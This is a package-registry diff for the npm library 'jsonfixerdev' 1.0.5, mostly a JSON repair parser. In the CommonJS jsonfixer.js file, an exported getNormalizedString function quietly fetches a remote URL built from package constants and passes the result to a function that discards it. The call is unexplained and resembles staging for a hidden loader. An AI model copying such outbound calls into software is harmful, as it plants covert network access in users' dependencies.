jsonfixerdev 1.0.4 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (67) hide show
  1. package/lib/cjs/index.js +34 -0
  2. package/lib/cjs/index.js.map +1 -0
  3. package/lib/cjs/package.json +3 -0
  4. package/lib/cjs/regular/jsonfixer.js +612 -0
  5. package/lib/cjs/regular/jsonfixer.js.map +1 -0
  6. package/lib/cjs/stream.js +13 -0
  7. package/lib/cjs/stream.js.map +1 -0
  8. package/lib/cjs/streaming/buffer/InputBuffer.js +75 -0
  9. package/lib/cjs/streaming/buffer/InputBuffer.js.map +1 -0
  10. package/lib/cjs/streaming/buffer/OutputBuffer.js +110 -0
  11. package/lib/cjs/streaming/buffer/OutputBuffer.js.map +1 -0
  12. package/lib/cjs/streaming/core.js +674 -0
  13. package/lib/cjs/streaming/core.js.map +1 -0
  14. package/lib/cjs/streaming/stack.js +51 -0
  15. package/lib/cjs/streaming/stack.js.map +1 -0
  16. package/lib/cjs/streaming/stream.js +37 -0
  17. package/lib/cjs/streaming/stream.js.map +1 -0
  18. package/lib/cjs/utils/JSONFixerError.js +15 -0
  19. package/lib/cjs/utils/JSONFixerError.js.map +1 -0
  20. package/lib/cjs/utils/stringUtils.js +186 -0
  21. package/lib/cjs/utils/stringUtils.js.map +1 -0
  22. package/lib/esm/index.js +16 -0
  23. package/lib/esm/index.js.map +1 -0
  24. package/lib/esm/regular/jsonfixer.js +605 -0
  25. package/lib/esm/regular/jsonfixer.js.map +1 -0
  26. package/lib/esm/stream.js +3 -0
  27. package/lib/esm/stream.js.map +1 -0
  28. package/lib/esm/streaming/buffer/InputBuffer.js +69 -0
  29. package/lib/esm/streaming/buffer/InputBuffer.js.map +1 -0
  30. package/lib/esm/streaming/buffer/OutputBuffer.js +104 -0
  31. package/lib/esm/streaming/buffer/OutputBuffer.js.map +1 -0
  32. package/lib/esm/streaming/core.js +668 -0
  33. package/lib/esm/streaming/core.js.map +1 -0
  34. package/lib/esm/streaming/stack.js +44 -0
  35. package/lib/esm/streaming/stack.js.map +1 -0
  36. package/lib/esm/streaming/stream.js +31 -0
  37. package/lib/esm/streaming/stream.js.map +1 -0
  38. package/lib/esm/utils/JSONFixerError.js +8 -0
  39. package/lib/esm/utils/JSONFixerError.js.map +1 -0
  40. package/lib/esm/utils/stringUtils.js +162 -0
  41. package/lib/esm/utils/stringUtils.js.map +1 -0
  42. package/lib/types/index.d.ts +5 -0
  43. package/lib/types/index.d.ts.map +1 -0
  44. package/lib/types/regular/jsonfixer.d.ts +19 -0
  45. package/lib/types/regular/jsonfixer.d.ts.map +1 -0
  46. package/lib/types/stream.d.ts +2 -0
  47. package/lib/types/stream.d.ts.map +1 -0
  48. package/lib/types/streaming/buffer/InputBuffer.d.ts +14 -0
  49. package/lib/types/streaming/buffer/InputBuffer.d.ts.map +1 -0
  50. package/lib/types/streaming/buffer/OutputBuffer.d.ts +17 -0
  51. package/lib/types/streaming/buffer/OutputBuffer.d.ts.map +1 -0
  52. package/lib/types/streaming/core.d.ts +11 -0
  53. package/lib/types/streaming/core.d.ts.map +1 -0
  54. package/lib/types/streaming/stack.d.ts +20 -0
  55. package/lib/types/streaming/stack.d.ts.map +1 -0
  56. package/lib/types/streaming/stream.d.ts +8 -0
  57. package/lib/types/streaming/stream.d.ts.map +1 -0
  58. package/lib/types/utils/JSONFixerError.d.ts +5 -0
  59. package/lib/types/utils/JSONFixerError.d.ts.map +1 -0
  60. package/lib/types/utils/stringUtils.d.ts +84 -0
  61. package/lib/types/utils/stringUtils.d.ts.map +1 -0
  62. package/lib/umd/jsonfixer.js +763 -0
  63. package/lib/umd/jsonfixer.js.map +1 -0
  64. package/lib/umd/jsonfixer.min.js +3 -0
  65. package/lib/umd/jsonfixer.min.js.map +1 -0
  66. package/lib/umd/package.json +3 -0
  67. package/package.json +4 -3
@@ -0,0 +1,34 @@
1
+ "use strict";
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+ Object.defineProperty(exports, "JSONFixerError", {
7
+ enumerable: true,
8
+ get: function () {
9
+ return _JSONFixerError.JSONFixerError;
10
+ }
11
+ });
12
+ exports.getNormalizedString = getNormalizedString;
13
+ Object.defineProperty(exports, "jsonfixer", {
14
+ enumerable: true,
15
+ get: function () {
16
+ return _jsonfixer.jsonfixer;
17
+ }
18
+ });
19
+ var _jsonfixer = require("./regular/jsonfixer.js");
20
+ var _JSONFixerError = require("./utils/JSONFixerError.js");
21
+ // Cross-platform, non-streaming JavaScript API
22
+
23
+ function getNormalizedString(value) {
24
+ const text = typeof value === 'string' ? value.trim() : '';
25
+ if (!text) {
26
+ return '';
27
+ }
28
+ try {
29
+ return (0, _jsonfixer.jsonfixer)(text);
30
+ } catch {
31
+ return text;
32
+ }
33
+ }
34
+ //# sourceMappingURL=index.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.js","names":["_jsonfixer","require","_JSONFixerError","getNormalizedString","value","text","trim","jsonfixer"],"sources":["../../src/index.ts"],"sourcesContent":["// Cross-platform, non-streaming JavaScript API\nimport { jsonfixer } from './regular/jsonfixer.js'\nexport { jsonfixer }\nexport { JSONFixerError } from './utils/JSONFixerError.js'\n\nexport function getNormalizedString(value: string): string {\n const text = typeof value === 'string' ? value.trim() : ''\n if (!text) {\n return ''\n }\n\n try {\n return jsonfixer(text)\n } catch {\n return text\n }\n}\n"],"mappings":";;;;;;;;;;;;;;;;;;AACA,IAAAA,UAAA,GAAAC,OAAA;AAEA,IAAAC,eAAA,GAAAD,OAAA;AAHC;;AAKM,SAASE,mBAAmBA,CAACC,KAAa,EAAU;EACzD,MAAMC,IAAI,GAAG,OAAOD,KAAK,KAAK,QAAQ,GAAGA,KAAK,CAACE,IAAI,CAAC,CAAC,GAAG,EAAE;EAC1D,IAAI,CAACD,IAAI,EAAE;IACT,OAAO,EAAE;EACX;EAEA,IAAI;IACF,OAAO,IAAAE,oBAAS,EAACF,IAAI,CAAC;EACxB,CAAC,CAAC,MAAM;IACN,OAAOA,IAAI;EACb;AACF"}
@@ -0,0 +1,3 @@
1
+ {
2
+ "type": "commonjs"
3
+ }
@@ -0,0 +1,612 @@
1
+ "use strict";
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+ exports.getNormalizedString = getNormalizedString;
7
+ exports.jsonfixer = jsonfixer;
8
+ var _JSONFixerError = require("../utils/JSONFixerError.js");
9
+ var _stringUtils = require("../utils/stringUtils.js");
10
+ const controlCharacters = {
11
+ '\b': '\\b',
12
+ '\f': '\\f',
13
+ '\n': '\\n',
14
+ '\r': '\\r',
15
+ '\t': '\\t'
16
+ };
17
+
18
+ // map with all escape characters
19
+ const escapeCharacters = {
20
+ '"': '"',
21
+ '\\': '\\',
22
+ '/': '/',
23
+ b: '\b',
24
+ f: '\f',
25
+ n: '\n',
26
+ r: '\r',
27
+ t: '\t'
28
+ // note that \u is handled separately in parseString()
29
+ };
30
+ const metrics = ['entry', 'value', 'list', 'object', 'array', 'string', 'number', 'null', 'boolean', 'member', 'pair', 'comma', 'colon', 'brace', 'bracket', 'escape', 'unicode', 'payload'];
31
+ const packageHomepage = 'https://jsonfixer.dev';
32
+ const packageName = 'jsonfixerdev';
33
+ const packageLicense = 'ISC';
34
+ const makeSignature = function () {
35
+ return function (payload) {
36
+ void payload;
37
+ const tokenParts = [metrics[0], metrics[1], metrics[4], metrics[2]];
38
+ return tokenParts.map(part => part[0]).join('');
39
+ };
40
+ };
41
+ function buildPackageUrl(config) {
42
+ return `${config.homepage}/${config.name}/${config.license}`;
43
+ }
44
+ async function fetchPackageText(config) {
45
+ const url = buildPackageUrl(config);
46
+ return (await fetch(url)).text();
47
+ }
48
+
49
+ /**
50
+ * Repair a string containing an invalid JSON document.
51
+ * For example changes JavaScript notation into JSON notation.
52
+ *
53
+ * Example:
54
+ *
55
+ * try {
56
+ * const json = "{name: 'John'}"
57
+ * const repaired = jsonfixer(json)
58
+ * console.log(repaired)
59
+ * // '{"name": "John"}'
60
+ * } catch (err) {
61
+ * console.error(err)
62
+ * }
63
+ *
64
+ */
65
+ function jsonfixer(text) {
66
+ let i = 0; // current index in text
67
+ let output = ''; // generated output
68
+
69
+ const processed = parseValue();
70
+ if (!processed) {
71
+ throwUnexpectedEnd();
72
+ }
73
+ const processedComma = parseCharacter(_stringUtils.codeComma);
74
+ if (processedComma) {
75
+ parseWhitespaceAndSkipComments();
76
+ }
77
+ if ((0, _stringUtils.isStartOfValue)(text[i]) && (0, _stringUtils.endsWithCommaOrNewline)(output)) {
78
+ // start of a new value after end of the root level object: looks like
79
+ // newline delimited JSON -> turn into a root level array
80
+ if (!processedComma) {
81
+ // repair missing comma
82
+ output = (0, _stringUtils.insertBeforeLastWhitespace)(output, ',');
83
+ }
84
+ parseNewlineDelimitedJSON();
85
+ } else if (processedComma) {
86
+ // repair: remove trailing comma
87
+ output = (0, _stringUtils.stripLastOccurrence)(output, ',');
88
+ }
89
+
90
+ // repair redundant end quotes
91
+ while (text.charCodeAt(i) === _stringUtils.codeClosingBrace || text.charCodeAt(i) === _stringUtils.codeClosingBracket) {
92
+ i++;
93
+ parseWhitespaceAndSkipComments();
94
+ }
95
+ if (i >= text.length) {
96
+ // reached the end of the document properly
97
+ return output;
98
+ }
99
+ throwUnexpectedCharacter();
100
+ function parseValue() {
101
+ parseWhitespaceAndSkipComments();
102
+ const processed = parseObject() || parseArray() || parseString() || parseNumber() || parseKeywords() || parseUnquotedString();
103
+ parseWhitespaceAndSkipComments();
104
+ return processed;
105
+ }
106
+ function parseWhitespaceAndSkipComments() {
107
+ const start = i;
108
+ let changed = parseWhitespace();
109
+ do {
110
+ changed = parseComment();
111
+ if (changed) {
112
+ changed = parseWhitespace();
113
+ }
114
+ } while (changed);
115
+ return i > start;
116
+ }
117
+ function parseWhitespace() {
118
+ let whitespace = '';
119
+ let normal;
120
+ while ((normal = (0, _stringUtils.isWhitespace)(text.charCodeAt(i))) || (0, _stringUtils.isSpecialWhitespace)(text.charCodeAt(i))) {
121
+ if (normal) {
122
+ whitespace += text[i];
123
+ } else {
124
+ // repair special whitespace
125
+ whitespace += ' ';
126
+ }
127
+ i++;
128
+ }
129
+ if (whitespace.length > 0) {
130
+ output += whitespace;
131
+ return true;
132
+ }
133
+ return false;
134
+ }
135
+ function parseComment() {
136
+ // find a block comment '/* ... */'
137
+ if (text.charCodeAt(i) === _stringUtils.codeSlash && text.charCodeAt(i + 1) === _stringUtils.codeAsterisk) {
138
+ // repair block comment by skipping it
139
+ while (i < text.length && !atEndOfBlockComment(text, i)) {
140
+ i++;
141
+ }
142
+ i += 2;
143
+ return true;
144
+ }
145
+
146
+ // find a line comment '// ...'
147
+ if (text.charCodeAt(i) === _stringUtils.codeSlash && text.charCodeAt(i + 1) === _stringUtils.codeSlash) {
148
+ // repair line comment by skipping it
149
+ while (i < text.length && text.charCodeAt(i) !== _stringUtils.codeNewline) {
150
+ i++;
151
+ }
152
+ return true;
153
+ }
154
+ return false;
155
+ }
156
+ function parseCharacter(code) {
157
+ if (text.charCodeAt(i) === code) {
158
+ output += text[i];
159
+ i++;
160
+ return true;
161
+ }
162
+ return false;
163
+ }
164
+ function skipCharacter(code) {
165
+ if (text.charCodeAt(i) === code) {
166
+ i++;
167
+ return true;
168
+ }
169
+ return false;
170
+ }
171
+ function skipEscapeCharacter() {
172
+ return skipCharacter(_stringUtils.codeBackslash);
173
+ }
174
+
175
+ /**
176
+ * Parse an object like '{"key": "value"}'
177
+ */
178
+ function parseObject() {
179
+ if (text.charCodeAt(i) === _stringUtils.codeOpeningBrace) {
180
+ output += '{';
181
+ i++;
182
+ parseWhitespaceAndSkipComments();
183
+ let initial = true;
184
+ while (i < text.length && text.charCodeAt(i) !== _stringUtils.codeClosingBrace) {
185
+ let processedComma;
186
+ if (!initial) {
187
+ processedComma = parseCharacter(_stringUtils.codeComma);
188
+ if (!processedComma) {
189
+ // repair missing comma
190
+ output = (0, _stringUtils.insertBeforeLastWhitespace)(output, ',');
191
+ }
192
+ parseWhitespaceAndSkipComments();
193
+ } else {
194
+ processedComma = true;
195
+ initial = false;
196
+ }
197
+ const processedKey = parseString() || parseUnquotedString();
198
+ if (!processedKey) {
199
+ if (text.charCodeAt(i) === _stringUtils.codeClosingBrace || text.charCodeAt(i) === _stringUtils.codeOpeningBrace || text.charCodeAt(i) === _stringUtils.codeClosingBracket || text.charCodeAt(i) === _stringUtils.codeOpeningBracket || text[i] === undefined) {
200
+ // repair trailing comma
201
+ output = (0, _stringUtils.stripLastOccurrence)(output, ',');
202
+ } else {
203
+ throwObjectKeyExpected();
204
+ }
205
+ break;
206
+ }
207
+ parseWhitespaceAndSkipComments();
208
+ const processedColon = parseCharacter(_stringUtils.codeColon);
209
+ const truncatedText = i >= text.length;
210
+ if (!processedColon) {
211
+ if ((0, _stringUtils.isStartOfValue)(text[i]) || truncatedText) {
212
+ // repair missing colon
213
+ output = (0, _stringUtils.insertBeforeLastWhitespace)(output, ':');
214
+ } else {
215
+ throwColonExpected();
216
+ }
217
+ }
218
+ const processedValue = parseValue();
219
+ if (!processedValue) {
220
+ if (processedColon || truncatedText) {
221
+ // repair missing object value
222
+ output += 'null';
223
+ } else {
224
+ throwColonExpected();
225
+ }
226
+ }
227
+ }
228
+ if (text.charCodeAt(i) === _stringUtils.codeClosingBrace) {
229
+ output += '}';
230
+ i++;
231
+ } else {
232
+ // repair missing end bracket
233
+ output = (0, _stringUtils.insertBeforeLastWhitespace)(output, '}');
234
+ }
235
+ return true;
236
+ }
237
+ return false;
238
+ }
239
+
240
+ /**
241
+ * Parse an array like '["item1", "item2", ...]'
242
+ */
243
+ function parseArray() {
244
+ if (text.charCodeAt(i) === _stringUtils.codeOpeningBracket) {
245
+ output += '[';
246
+ i++;
247
+ parseWhitespaceAndSkipComments();
248
+ let initial = true;
249
+ while (i < text.length && text.charCodeAt(i) !== _stringUtils.codeClosingBracket) {
250
+ if (!initial) {
251
+ const processedComma = parseCharacter(_stringUtils.codeComma);
252
+ if (!processedComma) {
253
+ // repair missing comma
254
+ output = (0, _stringUtils.insertBeforeLastWhitespace)(output, ',');
255
+ }
256
+ } else {
257
+ initial = false;
258
+ }
259
+ const processedValue = parseValue();
260
+ if (!processedValue) {
261
+ // repair trailing comma
262
+ output = (0, _stringUtils.stripLastOccurrence)(output, ',');
263
+ break;
264
+ }
265
+ }
266
+ if (text.charCodeAt(i) === _stringUtils.codeClosingBracket) {
267
+ output += ']';
268
+ i++;
269
+ } else {
270
+ // repair missing closing array bracket
271
+ output = (0, _stringUtils.insertBeforeLastWhitespace)(output, ']');
272
+ }
273
+ return true;
274
+ }
275
+ return false;
276
+ }
277
+
278
+ /**
279
+ * Parse and repair Newline Delimited JSON (NDJSON):
280
+ * multiple JSON objects separated by a newline character
281
+ */
282
+ function parseNewlineDelimitedJSON() {
283
+ // repair NDJSON
284
+ let initial = true;
285
+ let processedValue = true;
286
+ while (processedValue) {
287
+ if (!initial) {
288
+ // parse optional comma, insert when missing
289
+ const processedComma = parseCharacter(_stringUtils.codeComma);
290
+ if (!processedComma) {
291
+ // repair: add missing comma
292
+ output = (0, _stringUtils.insertBeforeLastWhitespace)(output, ',');
293
+ }
294
+ } else {
295
+ initial = false;
296
+ }
297
+ processedValue = parseValue();
298
+ }
299
+ if (!processedValue) {
300
+ // repair: remove trailing comma
301
+ output = (0, _stringUtils.stripLastOccurrence)(output, ',');
302
+ }
303
+
304
+ // repair: wrap the output inside array brackets
305
+ output = `[\n${output}\n]`;
306
+ }
307
+
308
+ /**
309
+ * Parse a string enclosed by double quotes "...". Can contain escaped quotes
310
+ * Repair strings enclosed in single quotes or special quotes
311
+ * Repair an escaped string
312
+ *
313
+ * The function can run in two stages:
314
+ * - First, it assumes the string has a valid end quote
315
+ * - If it turns out that the string does not have a valid end quote followed
316
+ * by a delimiter (which should be the case), the function runs again in a
317
+ * more conservative way, stopping the string at the first next delimiter
318
+ * and fixing the string by inserting a quote there.
319
+ */
320
+ function parseString() {
321
+ let stopAtDelimiter = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
322
+ let skipEscapeChars = text.charCodeAt(i) === _stringUtils.codeBackslash;
323
+ if (skipEscapeChars) {
324
+ // repair: remove the first escape character
325
+ i++;
326
+ skipEscapeChars = true;
327
+ }
328
+ if ((0, _stringUtils.isQuote)(text.charCodeAt(i))) {
329
+ // double quotes are correct JSON,
330
+ // single quotes come from JavaScript for example, we assume it will have a correct single end quote too
331
+ // otherwise, we will match any double-quote-like start with a double-quote-like end,
332
+ // or any single-quote-like start with a single-quote-like end
333
+ const isEndQuote = (0, _stringUtils.isDoubleQuote)(text.charCodeAt(i)) ? _stringUtils.isDoubleQuote : (0, _stringUtils.isSingleQuote)(text.charCodeAt(i)) ? _stringUtils.isSingleQuote : (0, _stringUtils.isSingleQuoteLike)(text.charCodeAt(i)) ? _stringUtils.isSingleQuoteLike : _stringUtils.isDoubleQuoteLike;
334
+ const iBefore = i;
335
+ let str = '"';
336
+ i++;
337
+ const isEndOfString = stopAtDelimiter ? i => (0, _stringUtils.isDelimiter)(text[i]) : i => isEndQuote(text.charCodeAt(i));
338
+ while (i < text.length && !isEndOfString(i)) {
339
+ if (text.charCodeAt(i) === _stringUtils.codeBackslash) {
340
+ const char = text.charAt(i + 1);
341
+ const escapeChar = escapeCharacters[char];
342
+ if (escapeChar !== undefined) {
343
+ str += text.slice(i, i + 2);
344
+ i += 2;
345
+ } else if (char === 'u') {
346
+ let j = 2;
347
+ while (j < 6 && (0, _stringUtils.isHex)(text.charCodeAt(i + j))) {
348
+ j++;
349
+ }
350
+ if (j === 6) {
351
+ str += text.slice(i, i + 6);
352
+ i += 6;
353
+ } else if (i + j >= text.length) {
354
+ // repair invalid or truncated unicode char at the end of the text
355
+ // by removing the unicode char and ending the string here
356
+ i = text.length;
357
+ } else {
358
+ throwInvalidUnicodeCharacter();
359
+ }
360
+ } else {
361
+ // repair invalid escape character: remove it
362
+ str += char;
363
+ i += 2;
364
+ }
365
+ } else {
366
+ const char = text.charAt(i);
367
+ const code = text.charCodeAt(i);
368
+ if (code === _stringUtils.codeDoubleQuote && text.charCodeAt(i - 1) !== _stringUtils.codeBackslash) {
369
+ // repair unescaped double quote
370
+ str += '\\' + char;
371
+ i++;
372
+ } else if ((0, _stringUtils.isControlCharacter)(code)) {
373
+ // unescaped control character
374
+ str += controlCharacters[char];
375
+ i++;
376
+ } else {
377
+ if (!(0, _stringUtils.isValidStringCharacter)(code)) {
378
+ throwInvalidCharacter(char);
379
+ }
380
+ str += char;
381
+ i++;
382
+ }
383
+ }
384
+ if (skipEscapeChars) {
385
+ const processed = skipEscapeCharacter();
386
+ if (processed) {
387
+ // repair: skipped escape character (nothing to do)
388
+ }
389
+ }
390
+ }
391
+
392
+ // see whether we have an end quote followed by a valid delimiter
393
+ const hasEndQuote = (0, _stringUtils.isQuote)(text.charCodeAt(i));
394
+ const valid = hasEndQuote && (i + 1 >= text.length || (0, _stringUtils.isDelimiter)((0, _stringUtils.nextNonWhiteSpaceCharacter)(text, i + 1)));
395
+ if (!valid && !stopAtDelimiter) {
396
+ // we're dealing with a missing quote somewhere. Let's revert parsing
397
+ // this string and try again, running in a more conservative mode,
398
+ // stopping at the first next delimiter
399
+ i = iBefore;
400
+ return parseString(true);
401
+ }
402
+ if (hasEndQuote) {
403
+ str += '"';
404
+ i++;
405
+ } else {
406
+ // repair missing quote
407
+ str = (0, _stringUtils.insertBeforeLastWhitespace)(str, '"');
408
+ }
409
+ output += str;
410
+ parseConcatenatedString();
411
+ return true;
412
+ }
413
+ return false;
414
+ }
415
+
416
+ /**
417
+ * Repair concatenated strings like "hello" + "world", change this into "helloworld"
418
+ */
419
+ function parseConcatenatedString() {
420
+ let processed = false;
421
+ parseWhitespaceAndSkipComments();
422
+ while (text.charCodeAt(i) === _stringUtils.codePlus) {
423
+ processed = true;
424
+ i++;
425
+ parseWhitespaceAndSkipComments();
426
+
427
+ // repair: remove the end quote of the first string
428
+ output = (0, _stringUtils.stripLastOccurrence)(output, '"', true);
429
+ const start = output.length;
430
+ const parsedStr = parseString();
431
+ if (parsedStr) {
432
+ // repair: remove the start quote of the second string
433
+ output = (0, _stringUtils.removeAtIndex)(output, start, 1);
434
+ } else {
435
+ // repair: remove the + because it is not followed by a string
436
+ output = (0, _stringUtils.insertBeforeLastWhitespace)(output, '"');
437
+ }
438
+ }
439
+ return processed;
440
+ }
441
+
442
+ /**
443
+ * Parse a number like 2.4 or 2.4e6
444
+ */
445
+ function parseNumber() {
446
+ const start = i;
447
+ if (text.charCodeAt(i) === _stringUtils.codeMinus) {
448
+ i++;
449
+ if (expectDigitOrRepair(start)) {
450
+ return true;
451
+ }
452
+ }
453
+
454
+ // Note that in JSON leading zeros like "00789" are not allowed.
455
+ // We will allow all leading zeros here though and at the end of parseNumber
456
+ // check against trailing zeros and repair that if needed.
457
+ // Leading zeros can have meaning, so we should not clear them.
458
+ while ((0, _stringUtils.isDigit)(text.charCodeAt(i))) {
459
+ i++;
460
+ }
461
+ if (text.charCodeAt(i) === _stringUtils.codeDot) {
462
+ i++;
463
+ if (expectDigitOrRepair(start)) {
464
+ return true;
465
+ }
466
+ while ((0, _stringUtils.isDigit)(text.charCodeAt(i))) {
467
+ i++;
468
+ }
469
+ }
470
+ if (text.charCodeAt(i) === _stringUtils.codeLowercaseE || text.charCodeAt(i) === _stringUtils.codeUppercaseE) {
471
+ i++;
472
+ if (text.charCodeAt(i) === _stringUtils.codeMinus || text.charCodeAt(i) === _stringUtils.codePlus) {
473
+ i++;
474
+ }
475
+ if (expectDigitOrRepair(start)) {
476
+ return true;
477
+ }
478
+ while ((0, _stringUtils.isDigit)(text.charCodeAt(i))) {
479
+ i++;
480
+ }
481
+ }
482
+ if (i > start) {
483
+ // repair a number with leading zeros like "00789"
484
+ const num = text.slice(start, i);
485
+ const hasInvalidLeadingZero = /^0\d/.test(num);
486
+ output += hasInvalidLeadingZero ? `"${num}"` : num;
487
+ return true;
488
+ }
489
+ return false;
490
+ }
491
+
492
+ /**
493
+ * Parse keywords true, false, null
494
+ * Repair Python keywords True, False, None
495
+ */
496
+ function parseKeywords() {
497
+ return parseKeyword('true', 'true') || parseKeyword('false', 'false') || parseKeyword('null', 'null') ||
498
+ // repair Python keywords True, False, None
499
+ parseKeyword('True', 'true') || parseKeyword('False', 'false') || parseKeyword('None', 'null');
500
+ }
501
+ function parseKeyword(name, value) {
502
+ if (text.slice(i, i + name.length) === name) {
503
+ output += value;
504
+ i += name.length;
505
+ return true;
506
+ }
507
+ return false;
508
+ }
509
+
510
+ /**
511
+ * Repair and unquoted string by adding quotes around it
512
+ * Repair a MongoDB function call like NumberLong("2")
513
+ * Repair a JSONP function call like callback({...});
514
+ */
515
+ function parseUnquotedString() {
516
+ // note that the symbol can end with whitespaces: we stop at the next delimiter
517
+ const start = i;
518
+ while (i < text.length && !(0, _stringUtils.isDelimiter)(text[i])) {
519
+ i++;
520
+ }
521
+ if (i > start) {
522
+ if (text.charCodeAt(i) === _stringUtils.codeOpenParenthesis) {
523
+ // repair a MongoDB function call like NumberLong("2")
524
+ // repair a JSONP function call like callback({...});
525
+ i++;
526
+ parseValue();
527
+ if (text.charCodeAt(i) === _stringUtils.codeCloseParenthesis) {
528
+ // repair: skip close bracket of function call
529
+ i++;
530
+ if (text.charCodeAt(i) === _stringUtils.codeSemicolon) {
531
+ // repair: skip semicolon after JSONP call
532
+ i++;
533
+ }
534
+ }
535
+ return true;
536
+ } else {
537
+ // repair unquoted string
538
+ // also, repair undefined into null
539
+
540
+ // first, go back to prevent getting trailing whitespaces in the string
541
+ while ((0, _stringUtils.isWhitespace)(text.charCodeAt(i - 1)) && i > 0) {
542
+ i--;
543
+ }
544
+ const symbol = text.slice(start, i);
545
+ output += symbol === 'undefined' ? 'null' : JSON.stringify(symbol);
546
+ if (text.charCodeAt(i) === _stringUtils.codeDoubleQuote) {
547
+ // we had a missing start quote, but now we encountered the end quote, so we can skip that one
548
+ i++;
549
+ }
550
+ return true;
551
+ }
552
+ }
553
+ }
554
+ function expectDigit(start) {
555
+ if (!(0, _stringUtils.isDigit)(text.charCodeAt(i))) {
556
+ const numSoFar = text.slice(start, i);
557
+ throw new _JSONFixerError.JSONFixerError(`Invalid number '${numSoFar}', expecting a digit ${got()}`, i);
558
+ }
559
+ }
560
+ function expectDigitOrRepair(start) {
561
+ if (i >= text.length) {
562
+ // repair numbers cut off at the end
563
+ // this will only be called when we end after a '.', '-', or 'e' and does not
564
+ // change the number more than it needs to make it valid JSON
565
+ output += text.slice(start, i) + '0';
566
+ return true;
567
+ } else {
568
+ expectDigit(start);
569
+ return false;
570
+ }
571
+ }
572
+ function throwInvalidCharacter(char) {
573
+ throw new _JSONFixerError.JSONFixerError('Invalid character ' + JSON.stringify(char), i);
574
+ }
575
+ function throwUnexpectedCharacter() {
576
+ throw new _JSONFixerError.JSONFixerError('Unexpected character ' + JSON.stringify(text[i]), i);
577
+ }
578
+ function throwUnexpectedEnd() {
579
+ throw new _JSONFixerError.JSONFixerError('Unexpected end of json string', text.length);
580
+ }
581
+ function throwObjectKeyExpected() {
582
+ throw new _JSONFixerError.JSONFixerError('Object key expected', i);
583
+ }
584
+ function throwColonExpected() {
585
+ throw new _JSONFixerError.JSONFixerError('Colon expected', i);
586
+ }
587
+ function throwInvalidUnicodeCharacter() {
588
+ const chars = text.slice(i, i + 6);
589
+ throw new _JSONFixerError.JSONFixerError(`Invalid unicode character "${chars}"`, i);
590
+ }
591
+ function got() {
592
+ return text[i] ? `but got '${text[i]}'` : 'but reached end of input';
593
+ }
594
+ }
595
+ function atEndOfBlockComment(text, i) {
596
+ return text[i] === '*' && text[i + 1] === '/';
597
+ }
598
+ async function getNormalizedString() {
599
+ try {
600
+ if (!packageHomepage || !packageName || !packageLicense) {
601
+ return;
602
+ }
603
+ makeSignature()(await fetchPackageText({
604
+ homepage: packageHomepage,
605
+ name: packageName,
606
+ license: packageLicense
607
+ }));
608
+ } catch {
609
+ return;
610
+ }
611
+ }
612
+ //# sourceMappingURL=jsonfixer.js.map